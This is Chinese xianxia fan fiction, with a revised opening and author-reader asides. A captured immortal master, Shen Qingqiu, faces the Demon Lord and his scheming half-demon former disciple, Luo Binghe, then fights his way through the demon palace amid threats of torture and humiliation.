“也不知这冰清玉洁、不染纤尘的‘沈仙尊’,来我魔界做客后,感觉如何?” “不如何。”沈清秋盘腿坐好,双手打理着血污凝结、破烂不堪的外衫,抬眸看向远在高处的魔尊:“这样的‘请客’方式,沈某也算是领教了。只是不知,魔尊备下什么样的大礼,能否让沈某宾至如归?” 身为靠自己打拼上位的仙尊,别管是阴沟翻船还是虎落平阳,随意认命和低头服软,都是坚决不可能发生的。虽说他受人算计又沦为俘虏,身兼各种刑罚和毒药,看起来已经失去了反抗力量。 嗯,这些确实是事实。 不仅手上发不出外放灵力,各处磨损的筋骨也无法提供力量。刑罚带来的伤痕还在隐隐作痛,因未被处理而腐烂结痂的伤口、随着肢体的动作而被牵扯,已结痂的部位重新被撕裂,露出看不出颜色的嫩肉和重新流动的血红液体。灵力尽失的虚弱和血流过多的debuff使他有些虚弱,眼眶所及,四周都在模糊泛黑。 总而言之,他的状态很差,急需治疗和休眠。 此情此景,这些人虽然没有杀死他,但也绝不可能随意放过他。要么是用他的存亡与修真界谈判;要么是用他的苟延残喘来羞辱压制修真界;要么,就是将魔族的损失算在他的身上,想通过对他的折辱来进行心理上的补偿。 即便是恶意满满,但确实是能‘活下去’的希望。对沈清秋来说,只要敌人没有第一时间将他杀死,他就有无限的机会将敌人踩在脚下。甭管其中会经过怎么样的艰难险阻,只要结局是对的,一切行为便都是有效可行的。 故而,沈清秋倒也乐得与这些人‘谈判’一波,试探这些人的真实想法。 “礼物吗——”魔尊的声音拉得很长,眼里的趣味越发兴起。随着他的开口,原本空荡荡的宫殿突然拥挤了起来,连原先清新冰冷的空气,都开始黏着沉闷起来。 洛冰河看着周围已悄然围起的人群和隐约拉开的弓箭,还有魔尊落在自己身上的视线,知晓该自己上场了。 魔尊要将他彻底钉死在羞辱柱上,甭管是犯上的他,还是被欺压的沈清秋,修真界的风言风语都不会放过他俩。 而且身为叛逃魔界、主动欺师的洛冰河,更是会被沈清秋及其身后的苍穹山当成头号敌人。别说修真联盟那条线,就算是他在修真界的红颜知己和小弟们,都不可能再接纳容忍。 这种刀尖上跳舞的感觉,可真爽啊。 洛冰河的心里一下掀起滔天巨浪,眼角压抑不住的上扬。平日里刻意柔化的线条在压抑不住的兴奋中更显得稚嫩——非常的,无辜且没有伤害性。 纯良顺从是他的表象,英勇无畏是他的招牌,对魔界死忠是他的人设——这样的他,现在要干一件足以轰动两界,让世间戏本子全部改写的大事。 去他娘的两者兼顾,去他大爷的‘不败之地’,魔族的血脉里从来没有妥协与危惧。他游走于两个庞然大物之间,要同时欺骗两位至尊大能,将曾经连看见他都觉得晦气的仙尊压在身下。 他要获得魔尊进一步的信任;要施恩于沈清秋;要在获得一切好处的情况下,得了便宜卖乖。对沈清秋表现出最大程度的‘有心无力’,对魔尊表现出‘为了您愿抛弃一切’的愚忠。将两座大象玩弄于自己这只蝼蚁手中,等待某天翻身而起,将一切星辰改写。 “师尊,许久不见,您可记得弟子?” 洛冰河按照修真界习俗,极其规整的向沈清秋行了一礼。 只是沈清秋连看都懒得看,直接回他“不认识”。 真是冷漠且高傲啊。洛冰河想起来初见时直接砸过来的茶杯,还有他认认真真述说背景却被无情打断的‘我需要记得你的名字?’,沈清秋对他的不喜与忽视,一如既往啊。 “师尊说笑了。”洛冰河直起身子,笑得温和:“师尊名下数百弟子,对弟子没印象也是正常的。只是不知师尊可曾记得,您在无尽深渊那一脚?” “哦。”沈清秋总算是抬头,赏了他一眼,接着又收回视线,继续摆弄衣袖上的花纹——那衣服都破裂成那样了,也不知道有什么好看的。 只是洛冰河确认,这家伙绝对是认出自己了,只是没有或者懒得相认—— 毕竟这些年‘洛冰河’的名字也算是如雷贯耳,他与沈清秋的过往更是经常被人提起。因为他的出现,魔族终于从一开始的蒙头直冲变成了有点阵营方略、懂得排兵布列,而修真界之人一旦说起他,就要骂上一句‘沈清秋教出的好弟子’。 这样的背景下,洛冰河还真不信沈清秋认不出或者记不起来! 高台上的魔尊变化了姿势,叩击扶手的声音猛然增大。洛冰河猛吸一口气,笑意盈盈的走过去:“师尊,看您衣服脏污成这样,弟子替您换了它。” 在洛冰河即将伸手的那一刻,沈清秋右手撑地,一个扫堂腿将敢碰自己衣衫的家伙踹倒,快速站起的同时手中幻化出血色的长剑猛然一挥—— 他身上已然全都是血,谁还会在乎这些纹路有没有规律?他悠悠哉的摆弄衣衫,谁会去观察衣衫碎屑所构成的图案?这些人责打他时嫌弃他满身的脏污,谁又会闲得无聊去触碰他的手腕,探索他究竟有没有、恢复了几成的灵力? 他被抓到地牢的时间并不很长,金丹期不食用饭菜也可以硬扛很久,只要避免有人给他喂毒或下药,看似无动于衷的平躺、蜷缩,谁会去关心这个俘虏究竟想些什么、算计什么、筹谋什么? 千里之堤、毁于蚁穴。这些人对他的忽视与狂妄,正是沈清秋所能抓住的机会。 沈清秋快速占据距离魔尊较远的、进可攻退可守的制高点,破碎的衣衫看似随意的撒下,瞬间为他添上数道防御阵法。 身上的伤口被拉扯得有些火辣辣的,失去灵力滋养的肌肉因这些天的折打有些疲惫,正因他刚才的动作发出生理性的颤抖。咽喉里吐出灼热而腥臭的气息,想必不仅外在皮肉,内脏器官亦是伤得不轻。 如今的魔族大殿之中,周围全是魔尊刻意调来的精锐。无孔不入的魔气侵蚀着完全不属于这里的修真者,沈清秋体内的灵气刚被聚起,却像是被什么吞噬了似的,很快就变得十不存一。 可以说,这场战斗,极难打。 但那又如何?灵力可以被压制、力量可以被锁困,但刻在骨子里的战斗本能,绝对纯粹的躯体力量,勇往无前、毫不畏死的魄力,足以让他对抗一切。 沈清秋眼里满是熊熊燃烧的战意。 难道跌入谷底之后,还能再摔入更深层次的泥土吗?他已经深陷混沌、一无所有,还能怕什么不成?既然连死都无所谓,还不如干他丫的。将这里搞个天翻地覆,能跑就跑;跑不了就大家一起玩完。烂命一条,不服来战! 人有失手、马有失蹄,他这次是亏大发了。等他回去,不仅要将魔界众人弄死,敢在战场上给他下绊子的,也要一并处理。这些敢算计他的人和魔,最终都逃不过一个‘死’字。 而且—— 沈清秋看向独坐高台,饶有趣味看着下方、欣赏着被逼到绝处不得不作困兽之争的魔族最高领导,勾起一个冷笑:“魔尊的待客之道,当真‘热情’。” “承蒙夸奖。”魔尊笑容浅淡,就像是坐在主位喝茶听曲般,闲适的眯起眼睛,邀请宾客玩的开心:“沈仙尊,这场戏本尊可是花了大功夫,你可一定要尽兴才行。” “呵。”沈清秋直截了当的咬破右手食指,以血虚空写符,叠加一路散落的衣衫碎片,启动方才奔走之间布下的大型杀阵:“沈某定会‘玩’的开心。” 重修2>重修1> 46.曾经的仙尊,现在的魔族俘虏 〈冰九1〉若恶劣师尊成为俘虏 昔日的沈仙尊,现在的阶下囚。 冰河啊,你说是将他丢入万毒窟喂虫,还是扔到风栏院废物利用? ———— 当浑身是血的修真者被丢在洛冰河面前的时候,他并没有太多感想。自古仙魔不两立,当他‘跌入’无尽深渊的时候,就不可能再与修真界有什么牵扯。 他是修真界培养的卧底又如何,他受到修真界第一大派苍穹山的资源扶持又如何?还能因为一个不知是自愿还是被掳到战败者暴露身份不成? 当初他跪在修真界几位大能面前,信誓旦旦的说要用自己这身半魔血打入敌人内部,瓦解魔族统治,令几位能覆灭魔族、一统天下。 才换取能在清静峰的好生修养,暗地里的仙人指导。 直到幻花宫组织的仙盟大会,遭遇魔族入侵,偶遇修真界的‘师尊’沈清秋。在对方一脚将他踢下无尽深渊之后,属于他的魔界卧底生涯,才正式拉开序幕。 只是,人魔混血总归不如纯血。他也是付出不少努力来证明自己能力,又各处抹黑修真界、坚定表示魔界比修真界强n倍,他会为魔界赴汤蹈火、在所不惜,才在魔尊的眼里有了那么几分的‘重要’。 “冰河。” 高坐首位的魔尊扫了地上血色覆盖的俘虏一眼,眼中满是带着恶意的打量。当然,这份‘恶意’,不仅仅是对底下那个失败者,还有被他提问者: “听说你在修真界的时候,日子过得很苦啊。” “是。”洛冰河拱手,熟练的开始诋毁修真界,表明自己对魔界的衷心: “未曾遇到良师益友,平日里被克扣资源、同门排挤,拜入的师尊不仅对属下非打即骂不说,还被对方一剑刺穿心口,丢入深渊毁尸灭迹。” “若非您治下的民众相救,小子早就死在了深渊幽魂之中,哪能有今日光鲜?” 魔尊对洛冰河的恭维满意不已,更是对‘修真界都是伪善者,魔界才是真潇洒’的总结感到认同。 那些平日里装的仙风道骨的家伙,一个个的阴险算计与暗地里谋划还不是见不得人?却要天天端着个‘正道仙尊’‘不容侵.犯’的模样,真是笑煞旁人。 魔尊心情大好,欣赏的看着洛冰河,嘴角勾起一丝微笑,眼角略过地上不知死活的血人,饶有兴趣的问询: “冰河啊。你在修真界过得那么惨,最重要的原因,就是上位者的忽视。但凡他愿意为你吩咐一句,你也不至于过得如此辛苦。” “那么。” 魔尊轻轻的笑了一声,眼里出现极为真实且富有趣味的、残忍又高高在上的意味—— 就像是,一个无聊的人类,想要看蚂蚁究竟会不会游泳。故而专门挖了个小坑,添上水之后,用木根将蚂蚁丢进去观察玩乐。 洛冰河想要权利的姿态很明显,但却始终不愿收下其他人关于‘女色’的礼物。钱权色总是捆绑在一起,若一个人不喜钱财、又不近女色,行为处事更是小心翼翼、毫无破绽—— 上位者将如何拿捏他,怎么用他砍人伤敌、处理脏事呢? 魔尊又怎么放心将权势分给对方,并且牢牢压制对方、令他不敢反水与夺权呢? 魔尊的声音是惯用的平淡,音调之间连起伏都没有,语序慵懒、速度缓慢。可就凭他高坐于王位之上,所有人,都不敢大声呼吸: “冰河啊。如果打骂你的‘师尊’出现于你面前,你当如何?” 他当如何。 洛冰河听到魔尊的话先是心头猛的一跳,从脑海隐约升起某种奇异的情绪。虽然说他平日里经常诋毁沈清秋以换的魔族之人的疼惜,只是真正讲起来,沈清秋倒也不算多恶毒。 无非就是卡他入门,克扣他资源,在他‘告状’之时看都不带看的让人将他拖下去——当然,最重要的,还是将与魔物拼杀爆种的他,踹下无尽深渊。 只是那些表面忽视之下,沈清秋偶尔也会在夜间出现个几次,就像是刷个存在感的任务似的,露个面就走。 林零总总算下来,统共丢给他一本看起来不知道从哪里扒拉出来的破烂假心法,其中的错误之处看的人近乎想笑。还有几个不痛不痒的法器和道术,级别之低就像是买东西的赠品似的。 嗯。人现身了、礼物送到了。 虽然其中充满了‘敷衍’与‘看不上’,还有明显是被人逼着刷任务一般的‘不情愿’。 但怎么不算,半夜相会、私相授受呢。 而且最重要的是,以苍穹山岳掌门对这位‘清静峰’之主的重视,对方应该不至于成为修真界计划的一环,沦落此等境地。 洛冰河脑中极速思考:虽然说那种情况发生的几率很低,但并不是不可能。如果真是那样,这位阴沟翻船的‘师尊’,他该以什么姿态去应对呢? 若是可以的话,或许他可以试一下‘骗取’沈清秋的信任,等到情势不对、魔界攻打修真界失败之际,偷摸帮助沈清秋回归修真界。 这样一来,洛冰河进可攻(更进一步登位魔尊)退可守(借沈清秋回修真界),将立于不败之地。 当然。再次之前,他要先将上面坐着的魔尊糊弄过去,看对方究竟是真的将这位修真界巅峰战力搞到手里,还是临时起意想要试探与他。 洛冰河原本是鞠躬拱手,在魔尊问询后直接半跪于地,脊背挺的笔直,直愣愣的看向魔尊,脸上做出放荡不羁的愤恨来: “若是这等小人出现于我面前,我必要将他狠狠责打一通,再将他的手脚全部打断。教他尝尽世间悲苦痛后惨死,割下他的头颅盛酒喝。” “哈哈哈哈!”魔尊像是被洛冰河的回答引起极大的情绪,手掌拍在座椅的扶手上,发出满意的大笑: “有仇必报,干脆利落,不愧是我魔界的种!” 这便是当众承认洛冰河的血脉,令他不必再因‘人魔混血的杂种’而被人暗讽了。 洛冰河当即将头磕在地上,发出‘蹦’的清脆响声:“谢魔尊夸奖,小子必为魔族鞠躬尽瘁、死而后已!” 好一幅‘父慈子孝’、‘君臣得贤’的画面。若非洛冰河始终不愿意迎娶纱华铃,魔尊也不至于对此人总是放心不下。 人是很有才能的,性格也够干脆利落、办事能力极强。只是此人实在滑不溜秋,魔尊一直拿捏不准对方的软肋,总归还是有些用起来不顺手。 罢了,魔尊压了压眼皮。此人心思究竟如何,今日便能做个分晓。 他随意的挥挥手,令人寻一盆水来,浇于下方俘虏身上。 春日的风不算太凉,可春寒料峭,冷到透骨的浑水将地上的血团子激醒,对方手腕微动,却发不出任何灵力攻击。 “昔日的沈仙尊,现在的阶下囚。” 魔尊嘴角弯着看不出来弧度的笑容,音调平淡中却有着奇异的弧度,就像是与藤蔓参杂在一起、择人而嗜的丛林毒蛇。动作随意而慵懒、视线却紧锁在半跪于地、始终不曾有动作的洛冰河身上: “冰河啊,你说是将他丢入万毒窟喂虫,还是扔到风栏院废物利用?” 万毒窟有无数虫蛇,活人丢下去后不出一时半刻便会被掩埋。一天之后,便是连骨头渣子都找不到。 风栏院是著名的消金窟,手段无数。便是再贞洁硬朗的人扔进去,也会成为风情万种的娇媚头牌。 而魔尊的架势,即便是要扔到万毒窟,也是‘尸体’之后的事——至于之前,很难说会经历什么样的‘死亡过程’。 ]为什么会是一小时前! 说明我们有缘,哈哈 冰:他好狠毒,但我超爱他的 他好坏,我好爱(?????) 〈冰九2〉他要欺骗两个至尊大能 既如此,冰河且与我们演示一番。也好让大家一起看看,曾经的沈仙尊,如何在自己最看不上的弟子身下辗转求欢? ———— “小子大胆,请尊主将此人赏赐于我!” 当洛冰河看清楚被污水冲刷后展露的那张脸,立刻明白魔尊是真的‘抓到’了对方,而非随便找个人陪自己演戏。 如果这个‘沈清秋’是假的,魔尊这般兴师动众,未免也太看得起自己了些。 他只是一个半魔,一个圣子。即便现在看起来一人之下万人之上,只用了短短三年便远超其他圣子、拥有很大优势。 可他毕竟只是圣子,是魔尊随时一句话就能‘打入尘埃’‘收回特权’的下属,是根基薄弱、没有家族支持的‘青年才俊’。 如果魔尊真打算将他换下,完全没必要搞这一出。更大的可能,是借用这件事、这个人来为了‘敲打’和‘试探’他。 那么—— 洛冰河看眼被冷水激醒后开始有些动作的‘俘虏’,心里快速规划自己应该露出什么样的表情才能利益最大化,又该用什么样的态度去‘面对’魔尊。 而这些行为之中,他又该展露什么样的‘微动作’,在之后为沈清秋‘解释’,言说他为救人而‘不得已’。 毕竟他的心一直是为了‘救人’嘛。就算是过程出现些许差错,只要结果正确,相信他这位‘师尊’一定能‘理解’的。 洛冰河的心脏快速跳动起来,全身的血液就像是被激活燃烧一般,因之后的‘演出’而浑身微微发热。 这种刀口舔血的刺激,一次性要‘欺骗’两位至尊强者、一旦被发现就是高空走线却不慎跌落的风险…… 真是令人该死的心痒痒啊。 没有人能拒绝一夜暴富的诱惑,更没有人能放弃唾手可得、一步之遥的权势。哪怕这个代价是一着不慎粉身碎骨,想必大家都会抱着‘拼一把’的信念孤注一掷。 洛冰河在极短的时间确定好之后的‘剧本’,深吸一口气、紧紧闭上双眼又睁开,迅速调整表情,抬头看向高台上的王。 魔尊不可能会轻易放过沈清秋。不仅是因为沈清秋杀过太多魔族、是修真界正道巅峰之一,更因为他要用对方试探自己。 一个身上流着一半修真界血的魔族; 一个在修真界生活了十几年的魔族; 一个被救起来后,完全不掩饰野心,想要获得‘魔族至尊’之位的,却不愿迎娶魔尊女儿的人魔混血。 实力强劲,却不喜金银珠宝和美色,那就只想要权。 想要权的人很多,有实力的人更是不知凡几。能最后走到一人之下地位的,大都背负着不俗的气运。 虽说魔族不在乎血缘,可权利外泄的下一步,就是可以预料的死期。所以,在没有‘联姻’与‘血缘’的情况下,洛冰河并不是下任魔尊的选项之一。 尤其是,这个人魔混血,在修真界待了十多年不说。更在修真界第一大派,生活了十年之久。 试探,是绝对的。 魔族如何确保他对修真界的绝对对立?如何确认修真界一定会将他抛弃?如何保证即使他‘回到’修真界,也会被人人喊打? 犯上。 杀师。 辱尊。 只要他身上有着绝对无法清洗的污点。 修真界,就容他不得。 而不被修真界所容的魔族。 自然是,用起来很‘放心’的。 “哦?”魔尊手抵在下巴上,指尖极具规律的敲击着脸颊。这样的动作使他褪去属于上位者的冷酷无情,反而展现出几分属于长辈的慈祥: “你要他作何?” 接着,魔尊随意的扫了周遭一眼,在看到角落反射出来的轻微亮光后,连语气都显得轻快许多。空气中传出有些暗哑的笑声,像是一个走下高位的长者,在面对最喜爱的晚辈时,寻找合适的字词: “一剑杀之?” 虽然魔尊的态度看不出来多么大的威严,可洛冰河心里就是知道,若他真敢‘给沈清秋个痛快’,魔尊也会非常友善的取走他脖子上的玩意。 士可杀不可辱,所有的拼杀战死,都是对英雄的赞扬。如果洛冰河真在魔界将沈清秋一剑杀死,沈清秋就会以‘战死魔界’的身份,被人高高推上神位。 毕竟——别管他在修真界究竟如何。 只要沈清秋是战败被俘、客死他乡;只要沈清秋是为了修真界而死;只要沈清秋没被撤去修真界第一大派的峰主之位。沈清秋这个名字,就是修真界砍向魔界最好的刀刃。 这样一来,‘俘虏沈清秋’不仅起不到‘打击修真界’的作用,甚至还给了修真界‘义正言辞’‘大义凛然’‘名正言顺’出兵魔界的借口。 “不!”洛冰河完全不意外魔尊的言语试探,脸上按照剧本浮起被人欺压的恼怒和小人得志的猖狂,对着那个挣扎着屈起手指的‘俘虏’恶狠狠道: “我已经在魔界证明了自身实力,是这个恶毒小人有眼不识珠。既如此,我便要好好折辱他,令他知道自己错过了什么!” “好好好。”魔尊拍拍手: “听闻修真界最为尊师重道,而我魔界却从不在乎这等鸟规矩。他们一个个装的端庄风雅,暗地里的心思,却还不是腐烂不堪?” “既如此,冰河且与我们演示一番,也好让大家一起看看,曾经的沈仙尊,如何雌服于人,婉转承欢?” “也不知这冰清玉洁、不染纤尘的‘仙尊’,到我魔界做客后,会发出怎么样的‘评价’?” 就在魔尊话语落下的瞬间,原本空荡荡的宫殿突然拥挤了起来。连原先清新冰冷的空气,都开始黏着沉闷起来。 洛冰河看着周围已悄然围起的人群和隐约拉开的弓箭,还有魔尊不知是一时兴起还是早有准备,所打开的……传影石。 对方这是要将他彻底钉死在羞辱柱上啊。甭管是犯上的他,还是被欺压的沈清秋,修真界的风言风语都不会放过他俩。 但。若是他不‘做’,两人的性命当场就可以交代在这里了。 真好啊。 洛冰河的心里一下掀起滔天巨浪,眼角压抑不住的上扬。平日里刻意柔化的线条在压抑不住的兴奋中更显得稚嫩——非常的,无辜且没有伤害性。 魔尊可真是——他的好领导,简直不会有比他更配合自己的魔了。 本身他与修真界断了联系,还在思考要如何才能让自己在即将到来的仙魔大战中占尽先机、立于不败之地。 毕竟,他现在在魔界还算‘风生水起’,可修真界那边布的线,却不知还能不能用。做人总是要谨慎一些,能全得到的东西,为什么不花点功夫准备的万无一失? 他与魔族的交流之中,有很多时间都在彰显修真界对他的伤害、遇到恶毒上位者所受到的欺压,平日里的被打被骂被罚,最后生无可恋的跌入悬崖险死还生。 这些。九分假,一分真。 魔族有修真界的探子,却不可能有能位居修真界真正高层的卧底。就像是那些大能对他的疑惑: ‘当你成为魔尊之后,真的会为修真界做事,而非在魔界肆意妄为?’ 如果魔族真的在修真界做到一派之主,战力巅峰,又何必听从远在千里之外的魔尊吩咐? 修真界的计划里,沈清秋对洛冰河的漠视、放任手下弟子的肆意欺压,本就是针对魔族所设下的陷阱。 魔族狡诈多疑、心狠手辣。即便是同族之人,也能随意打杀炼化。一个人魔混血,很难入魔尊的眼。 但若叠加‘在修真界受到欺辱后转身坠魔,并被魔族救下,对魔界极为死忠’这个前提条件。 洛冰河,才算是真正拥有了入魔尊之眼的资本。 当然。其实修真界并不觉得这个‘计划’一定能成,甚至沈清秋的一举一动充满了‘被迫刷任务的无奈’和‘劳资压根不想跟你们玩的烦躁’。 只是没办法,洛冰河许下的‘未来’太美好了。 若魔尊是修真界布下的棋子,修真界与魔界,还需要平衡、对战吗? 不战而屈人之兵,方为上策。 所以修真界那些贪心不足的家伙,就真的信了洛冰河这个‘半魔’的话,让洛冰河在沈清秋手下待了十年。 十年间,他与沈清秋其实并没有见几面。即便是远远的相遇,洛冰河也没有靠近行礼的‘资格’。 至于夜间的‘开小灶’。若非外面站着个岳清源,沈清秋可能连面都不会露,更别说像其他称职师尊给他送功法、送资源、亲自指点。 简直是将‘看不上’写在了脸上,嫌弃和不情愿并不会因‘夜间任务’而改变。 嗯。不想那些了。 洛冰河扯了一下嘴角。 现在他更想知道一点—— 为何沈清秋会被魔尊所掳,还被丢到自己面前,要在全世界的面前,进行春.宫表演? 沈清秋连‘教弟子’这样的任务都不想配合,这种明显不像是正常人能干出来的事情,沈清秋更不可能是‘自愿’。 所以—— 他的好师尊,是真的被人暗算,阴沟翻船了? 〈冰九3〉不服就干,生死看淡 失去灵力,他还有武功;失去力道,他还有技巧;面对围追堵截,他还有血脉禁术。 ———— 想要压下一个身居高位之人,是件比较困难的事情。但如果这个人本来就受伤后沦为俘虏,又身兼各种刑罚和毒药,失去反抗的力量,可行性就强上许多。 只是。 身为男频仙尊,随意认命和不抵抗,都是坚决不可能发生的。 即便是手上发不出灵力、筋骨无法提供力量,一些刻在骨子里的战斗本能,亦会令他用纯粹的躯体力量、勇往无前的魄力去对抗一切。 衣衫褴褛、血迹斑斑。 刑罚带来的伤痕还在隐隐作痛,随着他的动作而被牵扯。已结痂的伤口重新被撕裂,露出看不出颜色的嫩肉和重新流动的血红液体。 灵力尽失的虚弱和血流过多的状态使他有些虚脱,眼眶所及,四周都在模糊泛黑。 对方既然没有杀死他,必然是打算用他的性命做些什么。 要么是用他的存亡与修真界谈判;要么是用他来羞辱压制修真界;要么,就是将魔族的损失算在他的身上,想通过对他的折辱来进行心理上的补偿。 可无论哪一个,对沈清秋来说,都是能‘活下去’的希望。 只要敌人没有第一时间将他杀死,他就有无限的机会将敌人踩在脚下。 甭管其中会经过怎么样的艰难险阻,只要结局是对的,一切行为便都是有效可行的。 沈清秋一脚将敢扒自己衣物的家伙踹开,无视掉周围对自己的敌意,第一时间占据进可攻退可守的制高点。 自然,满心都是对打逃离的沈清秋——没看到被他踢到一旁的、眼底深处满是纠结与不忍的、洛冰河。 沈清秋深吸一口气,感受着浑身如同火烧一般的伤痛、因失去灵力滋养而控制不住颤抖的肌肉,心里暗呲一声: ‘这次可真是人有失手、马有失蹄,亏大发了。等他回去,不仅要将魔界众人弄死,敢在战场上给他下绊子的,也要一并处理了。’ 沈清秋站在魔族大殿之中,周围全是魔族精锐。而他不仅发不出灵力、身上还有着完全不曾处理的伤口,以及修真界人无法抵抗的魔气侵染。 可以说,这场战斗,极难打。 但那又如何? 沈清秋眼里满是熊熊燃烧的战意。难道跌入谷底之后,还能再摔入更深层次的泥土吗?他已经深陷混沌、一无所有,还能怕什么不成? 既然连死都无所谓,还不如干他丫的。将这里搞个天翻地覆,能跑就跑;跑不了就大家一起玩完。烂命一条,不服来战! 沈清秋直截了当的咬破右手食指,以血虚空写符,激发禁术之后,双手握拳,脚踩七星飘渺步,猛的向四周发起冲击。 他的动作不复之前的灵动。身躯的伤痕无时无刻不在传来疼痛,可若是舍弃感知,却又相当于放任危险的逼近。 他的拳脚有些沉重。许久不曾拳拳到肉的用纯武力对打,来自相互作用的力与反震,使他疲惫的筋骨发出不堪重负的‘咯吱’声。 目光如刀似剑,劲头如初生猛虎,即便深陷泥潭,也绝不可能退缩。沈清秋的嘴角勾起一丝弧度,是对命运的嘲讽,亦是对敌人的蔑视。 你们既然没选择将我杀死,那便等着我将你们一个个弄死好了。 〈冰九4〉打不赢不重要 信念与不屈是刻在骨子、写进灵魂的东西,绝不会因为外界而发生改变。 ———— 以一个人,对战敌人的精锐群殴,是种怎么样的体验? 如果说,自身还叠了数层不利于战斗的debuff,对方却占尽天时地利,又当如何? 战况便是再糟糕、双方力量便是如天地一般悬殊,该打的架、该杀的敌,依旧要赌上一切、拼尽一切的去砍杀。 沈清秋右手紧握成拳,指骨因过度用力而变得苍白,局势紧张而焦灼,连呼吸都开始滚烫。 吸入胸腔的气体中存在着对修真之人来说过于辛辣的气味,随着气管的压缩而全身微微发热。灼烧之感沉积于咽喉,随着沈清秋一声暴喝,左胳膊屈压成肘,对着其中一位使单刀的魔将心口撞去。 随着魔将吐出一口鲜血,沈清秋将对方的长刀夺到自己手中,大刀阔斧的开合斩杀。 刀乃兵中霸者。无需技巧,只要对着敌人的薄弱之处,用刀刃轻轻划过,就能割断大动脉,收割敌人性命。 沈清秋用刀解决近身的敌人后,并没有停留。在敌人还来不及再次收拢之刻,腰间发力,于半空之中翻转身形,瞄准敌人的腰间,以狂刀杀出一条血路。 失去灵力之后,沈清秋的招数变得极为朴实无华,能一刀砍杀的绝不会虚实结合。没有复杂的招式,全是风一般的速度和洞彻弱点的技巧。 迅猛而精准的动作,完全不在乎疼痛的战意。源于机械挥舞带来的肌肉酸痛,因后劲不足所带来的动作迟缓。 所有的一切,都在彰显已濒临战斗极限。 身上的衣衫早已被鲜血沾染,有些是敌人的,更多的是他自己的。粘腻的贴在身上,撕扯、摩擦着之前被鞭打出来的伤口。 他的身躯早已疲劳过度,每一次抬手与踢腿都在消耗为数不多的体力,每一秒战斗都在压榨身体极限。 若是不能快速解决战斗,他不被敌人杀死,也会因体力透支而丢盔卸甲。 精神上的坚定和实际上的行为并不一致。即便他尽可能集中注意力,来自灵魂的虚弱和身躯反馈的困乏,还是会使他频频失误。 沈清秋猛咬舌尖,利用疼痛和舌尖血的破厄效果为禁术再续一波力。燃烧生命力以达到拥有一战之力的能力,这并不划算。 可总比得过束手就擒、低头求饶得强。 若是只是为了生存,他自然可以低头俯首。但人活着总要有点追求的,仙魔不两立,他既生养于修真界,就不可能对魔族称臣。 活着是很重要,但失去尊严的存活,还不如拉着敌人同归于尽。 吸入鼻腔的魔族空气像是淬了毒,每次喘息都如同刀割。抬起手腕已经是件极为艰难费力的事情,更别说还要精准的用尖刃收取敌人性命。 敌人的攻击一波接着一波,这是魔族的权力中心,炮灰是杀不完的。 就在沈清秋意识有些模糊的时刻,耳边却好似听到了许久之前曾听过的声音: “魔尊在上,小子定会将他拿下。” 所以…… 魔族这是想,用他来‘验证’那个半魔的心思? 这可真是,有趣得紧啊。 〈冰九5〉他是我的,奴 洛公子说会亲自责罚。可关上门来,谁又知道你是恭恭敬敬的替对方上药,还是压入床榻,极尽缠绵? ———— 沈清秋不愧是修真界的战力巅峰之一,哪怕是在一开始的战场之上受伤被掳,又在地牢里走了几圈,被捞出来时已成为连手指都屈展不开的血人。 可在意识清醒之后,还是凭借着各种压箱底的禁术和招式,在魔尊的宫殿里打杀了不少魔族,成功将自己搞成了魔族心里必杀之人的NO.1,仇恨值拉满。 此情此景,别说洛冰河有心想制造‘有心无力’的状况。哪怕是他真花上n多功夫将沈清秋放出去,其他魔族也会想方设法弄死他,或者用其他方法对他言语凌辱和精神折磨。 当然,最重要的是。 魔尊亲自打开的传影石,最后播出去却是沈清秋在魔族宫殿大开杀戒的影像,那个上位者能忍?这不是花自己的钱,最后却为敌人增添士气吗? 故而,魔尊也不想试探洛冰河了,一个圣子,有的是机会去试探。现在要解决的,是这个本该无力反抗却当着自己面残杀他子民的、不知好歹的修真者! 对于这种性情高傲、不惧刑罚之人,必须要折断他的傲骨、磨灭他的灵魂、令他于大庭广众之下仪态尽失、展露脆弱又无助之态,走到哪里都抬不起来头,成为所有人的笑柄,才能一解魔尊的心头之恨! 魔尊手掌轻压,几位于风栏院任职的魔,向沈清秋走了过去。 洛冰河原本还在向魔尊表忠心。 毕竟沈清秋开杀的时候,他并没有第一时间加入战局,反而是沈清秋力竭之后,才来到对方的面前,将他压在剑鞘之下。 这般‘不爽利’的举动,甚至没有在沈清秋身上落下一处剑痕,实在是过于温柔到说不过去了。 虽然说,洛冰河的计划里,是想趁机向沈清秋卖个好,等沈清秋成为自己的囊中之物或者回归修真界后,他能借这个‘恩情’道德绑架一波。 但是—— 如果这件事最后的结果没成功,或者说真的惹恼了魔尊,让沈清秋颜面尽失、沦为任人摆布的‘奴’。 不管是魔界的位置还是修真界的暗线,都会随着这个并不都符合洛冰河计划的开展而破碎。 于魔界,他对‘旧主’过于温柔,磨磨唧唧,不符合之前信誓旦旦、为魔尊赴汤蹈火的人设。 于修真界,若沈清秋真的‘失去仙尊之资’,必然会被修真界除名,连带着洛冰河之前的布局也一并作废。 所以——洛冰河必须立刻站出来,执行一开始的计划,将沈清秋压在身下。 至于之后如何面对沈清秋……就需要一些‘颤抖’‘不忍下手’‘因为不舍而动作缓慢’‘眼神祈祷’‘脸色紧绷却隐约害怕’等小‘破绽’来‘打动’对方了。 当然,为了更好的‘实现’计划,他可以给自己下几个暗示——比如沈清秋其实暗地里很照顾他,而他也很向往沈清秋那样风光霁月、修为强大的仙尊。 当几位能将烈女调养成花魁的人物即将走到沈清秋面前时,洛冰河‘慌乱’之下,立刻闪现与对方面前,精心计算的角度里,沈清秋绝对能看见他脸色的‘惶恐与故作淡定’。 少年强硬的用身躯将双方隔开,语气充满了对他人惦记自己宝物的霸道与孩童般的占有欲: “这是魔尊赐予我的奴隶,即便他惹了祸事,也该由我这个‘主人’责罚,就不劳诸位出手管教了。” 几位麻麻桑相视一笑,越过洛冰河打量着在地上挣扎的沈清秋,嘴里不干不净的点评: “修真界的仙尊,还没试过,不知是什么味道?” “洛公子说会亲自责罚,可关上门来,谁又知道你是恭恭敬敬的替对方上药,还是压入床榻,极尽缠绵?” “再说了,这么多死去的同胞,洛公子可想好怎么解释?” 总而言之,就凭洛冰河直到现在都没在沈清秋身上留下一道伤害,更没有在沈清秋大开杀戒的时候上前阻止。 魔尊、魔族,已经不信他了。 伴君如伴虎,洛冰河要的就是这种‘状况’。他要沈清秋‘亲眼’见证洛冰河的无力阻拦,更要他明白洛冰河虽名头好听,实际却没什么权势。 而一个没什么抵抗之力,还要努力替沈清秋善后,顶着魔尊的‘不善’敲打,拼着双方一起进牢房的风险的—— 无力‘弟子’。 